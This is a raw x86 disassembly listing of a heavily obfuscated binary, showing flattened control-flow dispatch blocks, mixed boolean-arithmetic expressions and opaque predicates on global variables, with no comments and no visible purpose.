cmp eax, 0x37116ad5
je 0x40be83
cmp eax, 0x372ed618
je 0x40bf29
cmp eax, 0x382e119b
jne 0x402900
mov eax, 0x88599b33
jmp 0x402900
cmp eax, 0x998e133e
jg 0x407f8a
cmp eax, 0x95c60f2b
je 0x40c04e
cmp eax, 0x95d56f6b
je 0x40c05e
cmp eax, 0x98d0c2ad
jne 0x402900
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov edi, eax
and edi, 0x1468d030
mov esi, eax
xor esi, 0x14eedc3b
mov ecx, edx
and ecx, 0x860c0b
and esi, eax
and edx, 0xadc82302
and eax, 0x5237dcfd
or edi, ecx
or eax, edx
xor edi, 0x1468d030
or esi, edi
mov ecx, esi
not ecx
and esi, 0xb488166a
and ecx, 0x4b77e995
or esi, ecx
mov ecx, esi
xor ecx, 0x448050
xor esi, 0x16902026
and esi, 0xb6b26a26
and ecx, 0x494d95d9
or ecx, esi
mov esi, ecx
xor esi, 0x9091081
xor ecx, 0xb6b26a26
mov edx, ecx
and edx, 0x72468d7e
and esi, 0x8db97281
or esi, edx
mov edx, eax
xor edx, 0x315081
xor eax, 0xadc82302
or ecx, eax
and eax, 0x72468d7e
and edx, 0x8db97281
or edx, eax
not ecx
xor edx, esi
mov esi, 0x21832afc
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x41dead7f
and eax, 0xbe215280
or ecx, eax
xor ecx, 0x41dead7f
sete ch
setne ah
cmp dword [0x460980], 0xa
setl al
setge dl
mov dh, al
mov cl, al
and ch, dl
and al, ah
or al, ch
mov ch, dl
or dl, ah
xor dh, ah
or cl, ah
xor ch, ah
xor dl, 1
not dh
xor al, 1
xor cl, 1
or dl, ch
and dh, ah
mov ah, al
or al, dl
xor ah, dl
or cl, dh
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfbdd84b7
cmovne ecx, esi
test al, 1
mov eax, 0xfbdd84b7
jmp 0x412955
cmp eax, 0x5e2a3957
jg 0x407fd9
cmp eax, 0x5bdd6daa
je 0x40c4d3
cmp eax, 0x5cd208c8
je 0x40c5ce
cmp eax, 0x5dedad62
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov esi, edx
or esi, 1
mov eax, ecx
mov edi, ecx
or eax, 0x1796d1c2
and esi, 0x1796d1c3
and edi, 0xe8692e3c
and ecx, 0xf26b7442
or edi, esi
and eax, 0x1796d1c3
xor eax, edi
mov esi, eax
not esi
and eax, 0x77aab9d3
and esi, 0x8855462c
or eax, esi
mov esi, eax
xor esi, 0x722a3042
xor eax, 0x8855462c
mov edi, eax
or eax, edx
and edx, 0xd948bbd
and edi, 0xd948bbd
and esi, 0xf26b7442
or esi, edi
or ecx, edx
not eax
mov edi, 0x7c975107
xor ecx, esi
mov esi, 0x297ad9b9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc8d71280
and ecx, 0x3728ed7f
or eax, ecx
xor eax, 0xc8d71280
sete cl
setne ah
cmp dword [0x460980], 0xa
setge al
setl dl
and dl, ah
xor ah, al
mov ch, al
and ah, cl
or ch, cl
xor ah, 1
mov dh, ah
or ah, ch
xor dh, ch
mov ch, al
xor ah, 1
xor ch, cl
or ah, dh
and ch, al
and al, cl
xor ah, 1
or al, dl
mov cl, ah
or al, ch
or cl, al
xor ah, al
mov edx, ecx
xor dl, ah
test ah, 1
mov eax, 0x7c975107
cmovne eax, esi
test cl, 1
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402900
cmp eax, 0xe15cd384
jg 0x408004
cmp eax, 0xde1cdd10
je 0x40c6dc
cmp eax, 0xdeb3f081
je 0x40c6e6
cmp eax, 0xe0c21d98
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x61d63909
mov edi, edx
or edi, 0x592c1864
mov esi, edx
and esi, 0x592c1864
and edx, 0x9e29c6f6
mov ecx, edi
not ecx
and edi, 0xa6d3e79a
or eax, edx
or ecx, esi
and ecx, 0x592c1865
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x4f1e6629
mov esi, edx
and esi, 0xb0e199d6
or ecx, esi
mov esi, eax
xor esi, 0x41162009
xor eax, 0x902180d6
and eax, 0xb0e199d6
and esi, 0x4f1e6629
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x60b3c0d1
sete al
setne ah
cmp dword [0x460980], 0xa
setge dl
setl dh
mov ch, dl
mov cl, dl
and dh, ah
xor ch, ah
or cl, al
mov bl, ch
xor cl, 1
and bl, al
and al, dl
or dl, ah
or al, dh
xor dl, 1
or cl, bl
xor al, 1
or dl, ch
xor cl, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x5f7b258e
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x5f7b258e
jmp 0x4104ca
cmp eax, 0x1bdb680c
jg 0x408164
cmp eax, 0x19160516
je 0x40c70e
cmp eax, 0x19b3e215
je 0x40c727
cmp eax, 0x1b4f2513
jne 0x402900
mov eax, dword [ebp - 0xbc]
mov eax, 0xda678814
jmp 0x402900
cmp eax, 0xba8a8276
jg 0x40819e
cmp eax, 0xb7ecf5a7
je 0x40c8dd
cmp eax, 0xb9e3aa5f
je 0x40c8f7
cmp eax, 0xba0576f7
jne 0x402900
mov eax, dword [ebp - 0x1c]
mov dword [eax], 1
mov eax, 0xf2da02f0
jmp 0x402900
cmp eax, 0x79dd7ff2
jg 0x4081d2
cmp eax, 0x78dfa557
je 0x40c907
cmp eax, 0x78ff6ca5
je 0x40ca27
cmp eax, 0x793dfad5
jne 0x402900
mov eax, dword [ebp - 0x148]
mov eax, 0x1827ce88
jmp 0x402900
cmp eax, 0xfaf79bc2
jg 0x40821c
cmp eax, 0xf97a2082
je 0x40cb4b
cmp eax, 0xf994cf0c
je 0x40cb55
cmp eax, 0xfad9d15d
jne 0x402900
mov eax, 0x2ae6ba3f
jmp 0x402900
cmp eax, 0x228137ca
jg 0x40838d
cmp eax, 0x21832afc
je 0x40cc36
cmp eax, 0x21fcf928
je 0x40cc55
cmp eax, 0x222c8c96
jne 0x402900
mov eax, dword [ebp - 0xb0]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
andn eax, edx, edx
mov ecx, edx
not ecx
mov edi, edx
and edi, 0xfdd786d6
mov esi, eax
not esi
and ecx, 0x2287929
and eax, 0x2287929
or edx, esi
and esi, 0xfdd786d6
or ecx, edi
or eax, esi
not edx
xor eax, ecx
or edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 0x2ff02a0d
mov esi, eax
mov edi, ecx
and esi, 0x5fa26558
and edi, 0x800d90a2
or edi, esi
mov esi, edx
xor esi, 0xd00fd5f2
and esi, edx
and edx, 0x550eb1a0
mov ebx, esi
not ebx
and esi, 0xa05d9aa7
or eax, ebx
and ebx, 0x5fa26558
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0x2ff02a0c
and eax, 0xd00fd5f3
or eax, esi
mov esi, ecx
and esi, 0xaaf14e5f
and ecx, 1
or esi, edx
xor esi, 0x550eb1a1
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xccdc5c02
and edx, 0x3323a3fd
or ecx, edx
mov edx, eax
not edx
and eax, 0x7bca193d
mov esi, edx
and esi, 0x8435e6c2
or eax, esi
mov esi, ecx
xor esi, 0x48c81800
xor ecx, 0x3323a3fd
or edx, ecx
and ecx, 0x8435e6c2
and esi, 0x7bca193d
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, edx
mov ecx, edx
xor ecx, 0x335564d5
mov eax, edx
not esi
or eax, 0xccaa9b2a
and ecx, edx
mov edx, eax
and edx, 0x5bfb1c7f
and esi, 0x20046080
or esi, edx
mov edx, ecx
not edx
and ecx, 0xa404e380
or eax, edx
and edx, 0x5bfb1c7f
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x8c9eb2c4
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3ad0bd63
and ecx, 0xc52f429c
or eax, ecx
xor eax, 0x985d9b6
sete al
setne dl
cmp dword [0x460980], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf2e9022
cmovne ecx, esi
test al, al
mov eax, 0xf2e9022
jmp 0x40e473
cmp eax, 0x8590f9e4
jg 0x4084af
cmp eax, 0x83a81343
je 0x40cc68
cmp eax, 0x8440d8f7
je 0x40cd50
cmp eax, 0x8471c93b
jne 0x402900
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0x4ae71312
and edi, 0xb518ecec
and edx, 0xfd38362
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xf02c7c9d
mov ebx, esi
not ebx
and esi, 0xb518eced
or ecx, edx
or eax, ebx
and ebx, 0x4ae71312
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0x83b25d10
and esi, 0x7c4da2ef
or esi, edx
mov edx, ecx
xor edx, 0x700c208d
xor ecx, 0xfd38362
or eax, ecx
and ecx, 0x83b25d10
and edx, 0x7c4da2ef
or edx, ecx
not eax
xor edx, esi
mov esi, 0xd48e1519
or eax, edx
mov ecx, eax
not ecx
and eax, 0x627a7ba0
and ecx, 0x9d85845f
or eax, ecx
cmp eax, 0x627a7ba0
sete cl
cmp dword [0x460980], 0xa
setge dl
mov eax, edx
xor al, cl
mov ah, al
and al, dl
xor ah, 1
or al, ah
and ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x6e6c67e3
cmovne eax, esi
test dl, 1
mov edx, 0x6e6c67e3
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
cmp eax, 0x47a217b4
je 0x40cf08
cmp eax, 0x47f8dc3e
je 0x40d02e
cmp eax, 0x48d1d4a5
jne 0x402900
mov eax, 0xd7ca6208
jmp 0x402900
cmp eax, 0xc4aba24a
je 0x40d043
cmp eax, 0xc6acf5df
je 0x40d135
cmp eax, 0xc6b9a6b0
jne 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xa1308d90
mov ecx, eax
and ecx, 0x5ecf726f
and eax, 0xbabec06
or esi, ecx
mov ecx, edx
or ecx, 0xd017ae68
mov edi, esi
xor edi, 0x21200190
xor esi, 0x50072268
and ecx, 0xd017ae69
and esi, 0xd017ae68
and edi, 0x2fe85196
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0xf45413f9
and edi, 0xf45413f9
and esi, 0xbabec06
or eax, edx
not ecx
or esi, edi
mov edi, 0xd24af9da
xor eax, esi
mov esi, 0xe7a4e80b
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4a072370
and eax, 0xb5f8dc8f
or ecx, eax
xor ecx, 0x4a072370
sete ah
setne dl
cmp dword [0x460980], 0xa
setge al
setl cl
mov ch, al
or al, ah
xor ch, dl
or dl, cl
or cl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
or cl, ch
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xd24af9da
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x402900
cmp eax, 0x4de39fc
je 0x40d150
cmp eax, 0x672e5be
je 0x40d169
cmp eax, 0x708b720
jne 0x402900
cmp dword [ebp - 0x98], 0
mov ecx, dword [0x460984]
mov esi, 0x9b14ffb2
lea eax, [ecx + 1]
sets byte [ebp - 0xa6]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xf51a4e08
and eax, 0xae5b1f7
or edx, eax
xor edx, 0xf51a4e08
or ecx, edx
mov edx, ecx
xor edx, 0x84cec32
mov eax, ecx
and eax, 0xc597717
and edx, ecx
not ecx
and ecx, 0xf3a688e8
or eax, ecx
mov ecx, eax
xor ecx, 0x8486412
xor eax, 0xf3a688e8
and ecx, 0x84cec32
and eax, 0xfffffffe
or ecx, edx
not edx
and edx, 0xf7b313cc
and ecx, 0x84cec33
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2cce4acb
and ecx, 0xd331b534
or eax, ecx
mov ecx, eax
xor ecx, 0x28460280
xor eax, 0xc1113114
and eax, 0xc599795f
and ecx, 0x3a6686a0
or ecx, eax
mov eax, ecx
xor eax, 0xc1091105
xor ecx, 0x260220
and eax, 0xfb499585
and ecx, 0x4b66a7a
or ecx, eax
mov eax, ecx
xor eax, 0x3481404
xor ecx, 0x104220
and ecx, 0xf811c3a1
and eax, 0x7ee3c5e
or eax, ecx
xor eax, 0x7ee3c5e
setne ah
sete dl
cmp dword [0x460980], 0xa
setge cl
setl al
mov ch, cl
xor al, dl
inc ch
and ch, ah
mov ah, cl
xor ah, dl
and ah, cl
and cl, dl
mov edx, eax
or cl, ch
xor dl, 1
or cl, ah
mov ah, cl
and al, cl
or cl, dl
not ah
and ah, dl
mov edx, ecx
or al, ah
xor dl, al
test cl, cl
mov ecx, 0xec7d2f1d
cmovne ecx, esi
test al, al
mov eax, 0xec7d2f1d
cmove ecx, esi
test dl, dl
jmp 0x4104ca
cmp eax, 0xa164103e
je 0x40d17f
cmp eax, 0xa1818cfb
je 0x40d189
cmp eax, 0xa1dcd9a5
jne 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x569f61f2
and edx, 0xa9609e0d
or eax, edx
mov edx, eax
xor edx, 0x54164020
xor eax, 0xa9609e0d
mov esi, eax
and esi, 0xaba93fd7
and edx, 0x5456c028
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5456c028
or eax, esi
and esi, 0xaba93fd7
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x56a16b26
and eax, 0xa95e94d9
or eax, edx
xor eax, 0xa95e94d8
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x30480504
and eax, 0x80111088
mov edx, ecx
or edx, 0x4b260871
and esi, 0x7b6e0d75
and ecx, 0x480e202
and edx, 0x7b6e0d75
or ecx, esi
mov esi, 0x5b8eb7f5
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x4fa6ea73
and ecx, 0xb059158c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc4262542
mov edx, ecx
and edx, 0x3bd9dabd
or eax, edx
xor eax, 0x3bd9dabd
xor ecx, eax
test ecx, eax
sete ah
cmp dword [0x460980], 0xa
mov dl, ah
setl al
xor dl, al
or al, ah
xor al, 1
mov ecx, edx
or al, dl
xor cl, 1
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x71eda77f
cmovne eax, esi
test cl, cl
mov ecx, 0x71eda77f
jmp 0x407e2b
cmp eax, 0x67cd7c8e
je 0x40d193
cmp eax, 0x67fc8cf0
je 0x40d29e
cmp eax, 0x689c55d6
jne 0x402900
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x58]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, 0xa8786650
jmp 0x402900
cmp eax, 0xe6dbda02
je 0x40d2a8
cmp eax, 0xe7a4e80b
je 0x40d2b8
cmp eax, 0xe7b13efb
jne 0x402900
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
mov eax, 0xc2879f70
jmp 0x402900
cmp eax, 0x32e79fe4
je 0x40d2c2
cmp eax, 0x32f2de7d
je 0x40d3ab
cmp eax, 0x3325a020
jne 0x402900
mov eax, 0x6f9103b9
jmp 0x402900
cmp eax, 0x8fd1b367
je 0x40d53f
cmp eax, 0x900cf38f
je 0x40d549
cmp eax, 0x90fcc4e7
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x5e8bf366
mov esi, eax
and esi, 0xa1740c99
mov edi, eax
or edi, 0x50400804
and eax, 0x2202ec1
or edx, esi
and edi, 0x50e88c86
mov esi, edx
xor edx, 0x400800
xor esi, 0x4001200
or edx, 0xa88482
and esi, 0x85001219
and edx, 0x50e88c86
or esi, edx
mov edx, ecx
and edx, 0x2a176160
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0xd5401a1c
and esi, 0x2abfe5e3
or edx, esi
mov esi, edx
not esi
and edx, 0x21703c7b
and esi, 0xde8fc384
or edx, esi
mov esi, edx
xor esi, 0x202c41
xor edx, 0xde8fc384
mov edi, edx
or edx, ecx
and ecx, 0xfddfd13e
and edi, 0xfddfd13e
and esi, 0x2202ec1
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xad8f07e7
or edx, eax
mov eax, edx
not eax
and edx, 0xcea4225c
and eax, 0x315bdda3
or edx, eax
xor edx, 0xcea4225c
setne dl
sete al
cmp dword [0x460980], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
xor dl, 1
or dh, ch
and al, ah
xor cl, dh
or al, dl
and cl, dh
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
xor dl, al
xor ah, al
or al, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
not cl
test cl, 1
mov ecx, 0xb7c142b6
cmovne ecx, esi
test al, 1
mov eax, 0xb7c142b6
cmovne eax, ecx
jmp 0x411dd1
cmp eax, 0x58230dfb
je 0x40d565
cmp eax, 0x5956fea7
je 0x40d572
cmp eax, 0x5a4f0641
jne 0x402900
mov eax, 0x98d0c2ad
jmp 0x402900
cmp eax, 0xd7a79b55
je 0x40d58b
cmp eax, 0xd7ca6208
je 0x40d5b9
cmp eax, 0xd967995d
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x4200b88a
not edx
mov ecx, edx
and esi, eax
and ecx, 0x4200b88a
and edx, 0x2263f900
and eax, 0xdd9c06ff
or esi, ecx
or eax, edx
mov ecx, esi
not ecx
and esi, 0x46ab7d9
and ecx, 0xfb954826
or esi, ecx
mov ecx, esi
xor ecx, 0x402a0c40
xor esi, 0x9115c0ad
and esi, 0x9755c3bf
and ecx, 0x68aa3c40
or ecx, esi
mov esi, ecx
xor esi, 0x48a22c00
xor ecx, 0x9755c3bf
mov edx, ecx
and edx, 0x254890ec
and esi, 0xdab76f13
or esi, edx
mov edx, eax
xor edx, 0xd8940613
xor eax, 0x2263f900
or ecx, eax
and eax, 0x254890ec
and edx, 0xdab76f13
or edx, eax
not ecx
xor edx, esi
mov esi, 0xfcd124af
or ecx, edx
xor ecx, 0xffffffff
sete dh
setne ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov dl, al
mov cl, ch
inc dl
xor cl, ah
mov ebx, edx
xor dl, dh
and dh, al
or al, ah
not cl
and bl, ah
or ah, ch
xor al, 1
and cl, ch
or al, dl
xor ah, 1
or bl, dh
xor al, 1
or cl, ah
or al, bl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x73d2e11f
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x40e476
cmp eax, 0x14cb580b
je 0x40d5c3
cmp eax, 0x15c175c7
je 0x40d6d0
cmp eax, 0x166c1132
jne 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x1011140
and ecx, 0x4242a23d
mov edx, eax
or edx, 0x14184080
and esi, 0x151951c0
and eax, 0xa8a40c02
and edx, 0x151951c0
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0xbcbc4c82
and eax, 0x4343b37d
or ecx, eax
mov edx, ecx
xor edx, 0x304ac73f
mov eax, ecx
and eax, 0x828a437e
and edx, ecx
not ecx
and ecx, 0x7d75bc81
or eax, ecx
mov ecx, eax
mov edi, eax
xor ecx, 0x828a437e
xor edi, 0x4d3f7bbe
xor eax, 0x1703880
and edi, ecx
or ecx, 1
and eax, 0x1f03b84
mov esi, edi
not esi
and edi, 0x26fcb728
mov ebx, esi
and ebx, 0xd90348d7
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x26fcb728
or esi, ebx
and ebx, 0xd90348d7
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, esi
not edx
and esi, 0x304ac73e
and edx, 0xcfb538c1
or esi, edx
mov edx, esi
not edx
and esi, 0x1f03b85
mov edi, edx
or edx, ecx
and edi, 0xfe0fc47a
and ecx, 0xfe0fc47a
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x54b6bcea
or edx, eax
mov eax, edx
not eax
and edx, 0x7fc78936
and eax, 0x803876c9
or edx, eax
mov eax, edx
not eax
and edx, 0x6bf1e819
and eax, 0x940e17e6
or edx, eax
mov eax, edx
xor eax, 0x48c91890
xor edx, 0x142021
and eax, 0x5ceb599e
and edx, 0xa314a661
or edx, eax
xor edx, 0xa314a661
setne dl
sete ch
cmp dword [0x460980], 0xa
setge dh
setl al
mov ah, dh
mov cl, al
xor al, dl
xor ah, ch
or ch, dh
or cl, dl
and ah, dh
mov bl, ch
xor ah, 1
xor bl, cl
or cl, ch
mov dl, ah
xor cl, 1
xor dl, al
or al, ah
or cl, bl
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x83232435
cmovne eax, esi
test dl, 1
mov edx, 0x83232435
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
cmp eax, 0xb43c5269
je 0x40d701
cmp eax, 0xb4ff45ec
je 0x40d70b
cmp eax, 0xb5531fc6
jne 0x402900
mov eax, 0x38d3a611
jmp 0x402900
cmp eax, 0x74d906c6
je 0x40d84c
cmp eax, 0x74f5a47e
je 0x40d974
cmp eax, 0x755117df
jne 0x402900
mov eax, dword [ebp - 0x48]
mov eax, 0x3b956fc0
jmp 0x402900
cmp eax, 0xf4543496
je 0x40da58
cmp eax, 0xf62aae04
je 0x40da62
cmp eax, 0xf642ba21
jne 0x402900
mov eax, 0xe61cb27a
jmp 0x402900
cmp eax, 0x2c4ebc1e
je 0x40da6c
cmp eax, 0x2ca53836
je 0x40dc3b
cmp eax, 0x2ce7770d
jne 0x402900
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, 0x1df9cdef
jmp 0x402900
cmp eax, 0x89ae295e
je 0x40dd1d
cmp eax, 0x8aefd095
je 0x40dd27
cmp eax, 0x8b096e32
jne 0x402900
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x34]
add eax, 2
mov dword [ecx], eax
mov eax, 0x47a217b4
jmp 0x402900
cmp eax, 0x4f22960f
je 0x40dd31
cmp eax, 0x50e2800c
je 0x40dd4a
cmp eax, 0x528090e7
jne 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xeff9975c
and edx, 0x100668a3
or eax, edx
mov edx, eax
xor edx, 0x2be19750
xor eax, 0x100668a3
mov esi, eax
and esi, 0xc41a28ac
and edx, 0x3be5d753
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3be5d753
or eax, esi
and esi, 0xc41a28ac
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x77e3873b
mov ecx, eax
and ecx, 0xee87629
and edx, eax
not eax
and eax, 0xf11789d6
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0xee87629
xor ecx, 0x86f40eed
xor eax, 0xf11789d6
and ecx, esi
and eax, 0xfffffffe
mov esi, 0x454e4029
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x77e3873a
and ecx, 0x881c78c5
or edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xeb2c5912
and ecx, 0x14d3a6ed
or eax, ecx
mov ecx, eax
xor ecx, 0x402629
xor eax, 0xab001102
and eax, 0xbf9391c6
and ecx, 0x406c6e39
or ecx, eax
xor ecx, 0x406c6e39
setne dl
sete al
cmp dword [0x460980], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
and ch, cl
or dl, ah
and dh, al
xor al, ah
xor dl, 1
or dh, ch
and al, ah
xor cl, dh
or al, dl
and cl, dh
xor al, 1
xor cl, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xde1cdd10
cmovne ecx, esi
test al, al
mov esi, 0xde1cdd10
jmp 0x410219
cmp eax, 0xcff11a27
je 0x40dd6c
cmp eax, 0xd085d712
je 0x40dd76
cmp eax, 0xd09938b9
jne 0x402900
mov ecx, dword [0x460984]
mov edi, 0x9b14ffb2
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x671b2ad8
and ecx, 0x98e4d527
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1f5cc4b7
and ecx, 0xe0a33b48
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x6840864d
xor ecx, 0x87b81190
xor edx, 0x87b81191
and edx, ecx
and eax, 0xedf087dd
and ecx, 0x120f7822
or ecx, eax
xor ecx, 0x120f7823
or ecx, edx
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0xc7204291
and ecx, 0x38dfbd6e
or eax, ecx
mov ecx, eax
xor ecx, 0xc2004011
xor eax, 0x38dfbd6e
mov esi, eax
and esi, 0x1d65baea
and ecx, 0xe29a4515
or ecx, esi
mov esi, edx
not esi
and edx, 0xe29a4515
or eax, esi
and esi, 0x1d65baea
or edx, esi
not eax
mov esi, 0x708b720
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xec32baf5
and ecx, 0x13cd450a
or eax, ecx
mov ecx, eax
xor ecx, 0xa4209241
xor eax, 0xc4400
and eax, 0x481e6cb4
and ecx, 0xb7e1934b
or ecx, eax
xor ecx, 0xb7e1934b
sete ah
setne dl
cmp dword [0x460980], 0xa
mov ch, ah
setl al
setge cl
and ch, cl
and dl, al
or al, ah
xor cl, ah
or dl, ch
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x9b14ffb2
cmovne edx, esi
test al, al
cmovne edx, edi
test cl, cl
jmp 0x413c05
cmp eax, 0xeb358c8
je 0x40df61
cmp eax, 0xed4f64b
je 0x40e0aa
cmp eax, 0xf2e9022
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6f56c37a
and eax, 0x90a93c85
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x10200480
xor edx, 0x6f56c37a
xor ecx, 0x6f56c37b
and ecx, edx
and eax, 0x3120c5d0
and edx, 0xcedf3a2f
or edx, eax
mov eax, ecx
not eax
and ecx, 0xaa08ae13
mov esi, eax
and esi, 0x55f751ec
or ecx, esi
mov esi, edx
xor esi, 0x8a082a02
xor edx, 0x3120c5d1
or eax, edx
and edx, 0x55f751ec
and esi, 0xaa08ae13
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xe086140
and eax, 0x21149e39
mov edx, ecx
or edx, 0x820082
and esi, 0xe8a61c2
and ecx, 0xd0610004
